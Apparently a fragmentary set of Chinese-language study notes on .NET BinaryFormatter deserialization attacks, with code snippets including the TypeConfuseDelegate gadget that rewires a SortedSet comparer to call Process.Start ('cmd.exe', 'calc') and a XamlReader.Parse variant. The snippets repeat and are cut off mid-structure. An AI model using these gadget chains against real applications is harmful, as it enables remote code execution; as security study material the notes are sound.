using System; using System.IO; using System.Runtime.Serialization; using System.Runtime.Serialization.Formatters.Binary;
public class CustomSerializationBinder : SerializationBinder { public override Type BindToType(string assemblyName, string typeName) { // 在反序列化时,检查类型是否在黑名单中 if (IsTypeInBlacklist(typeName)) { throw new SerializationException("Deserialization of this type is not allowed."); }
[Serializable] public class MyClass { public string Name { get; set; } public int Age { get; set; } public object data; }
class Program { static void Main() { // 创建对象实例 MyClass myObject = new MyClass { Name = "John", Age = 25 }; var evilClass = new EvilClass(); myObject.data = evilClass;
// 使用BinaryFormatter进行序列化,并设置自定义的SerializationBinder BinaryFormatter formatter = new BinaryFormatter(); formatter.Binder = new CustomSerializationBinder();
using (MemoryStream stream = new MemoryStream()) { formatter.Serialize(stream, myObject);
public override Type BindToType(string assemblyName, string typeName) { // 在反序列化时,检查类型是否在黑名单中 if (IsTypeInBlacklist(typeName)) { throw new SerializationException("Deserialization of this type is not allowed."); }
private void DeserializeDataSetSchema( SerializationInfo info, StreamingContext context, SerializationFormat remotingFormat, SchemaSerializationMode schemaSerializationMode) { if (remotingFormat != SerializationFormat.Xml) { if (schemaSerializationMode == SchemaSerializationMode.IncludeSchema) { this.DeserializeDataSetProperties(info, context); int int32 = info.GetInt32("DataSet.Tables.Count"); for (int index = 0; index < int32; ++index) { MemoryStream serializationStream = new MemoryStream((byte[]) info.GetValue(string.Format((IFormatProvider) CultureInfo.InvariantCulture, "DataSet.Tables_{0}", new object[1] { (object) index }), typeof (byte[]))); serializationStream.Position = 0L; this.Tables.Add((DataTable) new BinaryFormatter((ISurrogateSelector) null, new StreamingContext(context.State, (object) false)).Deserialize((Stream) serializationStream)); } for (int index = 0; index < int32; ++index) this.Tables[index].DeserializeConstraints(info, context, index, true); this.DeserializeRelations(info, context); for (int index = 0; index < int32; ++index) this.Tables[index].DeserializeExpressionColumns(info, context, index); } else this.DeserializeDataSetProperties(info, context); } else { string s = (string) info.GetValue("XmlSchema", typeof (string)); if (s == null) return; this.ReadXmlSchema((XmlReader) new XmlTextReader((TextReader) new StringReader(s)), true); } }
1
this.Tables.Add((DataTable) new BinaryFormatter((ISurrogateSelector) null, new StreamingContext(context.State, (object) false)).Deserialize((Stream) serializationStream));
MemoryStream serializationStream = new MemoryStream((byte[]) info.GetValue(string.Format((IFormatProvider) CultureInfo.InvariantCulture, "DataSet.Tables_{0}", new object[1]
using System; using System.IO; using System.Runtime.Serialization; using System.Runtime.Serialization.Formatters.Binary; using Microsoft.VisualStudio.Text.Formatting;
using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Reflection; using System.Runtime.Serialization.Formatters.Binary;
namespace DonNET_Deserialization;
class Program { public delegate void MyDelegate(string s);
public static void PrintString(string s) { Console.WriteLine($"print {s} to screen."); } public static void WriteToFile(string s) { Console.WriteLine($"write {s} to file."); } static void Main(string[] args) { MyDelegate myDelegate = new MyDelegate(PrintString); MyDelegate myDelegate1 = new MyDelegate(WriteToFile); myDelegate += myDelegate1; myDelegate("hello"); } }
using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Reflection; using System.Runtime.Serialization.Formatters.Binary;
publicstaticobjectGetXamlGadget(string xaml_payload) { Delegate da = new Comparison<string>(String.Compare); Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da); IComparer<string> comp = Comparer<string>.Create(d); SortedSet<string> set = new SortedSet<string>(comp); set.Add(xaml_payload); set.Add(""); FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance); object[] invoke_list = d.GetInvocationList(); // We use XamlReader.Parse() to trigger the xaml execution invoke_list[1] = new Func<string, object>(System.Windows.Markup.XamlReader.Parse); fi.SetValue(d, invoke_list); returnset; }
Delegate da = new Comparison<string>(String.Compare); Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da); IComparer<string> comp = Comparer<string>.Create(d); SortedSet<string> set = new SortedSet<string>(comp);
// 创建一个string的比较器 Delegate da = new Comparison<string>(String.Compare); // 用两个string的比较器合并为一个多播委托(生成两个Compare函数) Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da); // Create()函数返回new ComparisonComparer<T>(d) (生成一个类) IComparer<string> comp = Comparer<string>.Create(d); // 将ComparisonComparer赋值给SortedSet的比较器 SortedSet<string> set = new SortedSet<string>(comp); // set.Add("cmd.exe") set.Add(inputArgs.CmdFileName); // set.Add("calc") set.Add(inputArgs.CmdArguments); // 反射修改_invocationList FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance); object[] invoke_list = d.GetInvocationList(); // 修改_invocationList 添加 Process::Start(string, string) 修改第二个Compare函数为Process.Start invoke_list[1] = new Func<string, string, Process>(Process.Start); fi.SetValue(d, invoke_list);
那么为什么多播委派能解决这个签名不一致的问题 原作者给出的解释
The only weird thing about this code is TypeConfuseDelegate. It’s a long standing issue that .NET delegates don’t always enforce their type signature, especially the return value. In this case we create a two entry multicast delegate (a delegate which will run multiple single delegates sequentially), setting one delegate to String::Compare which returns an int, and another to Process::Start which returns an instance of the Process class. This works, even when deserialized and invokes the two separate methods. It will then return the created process object as an integer, which just means it will return the pointer to the instance of the process object.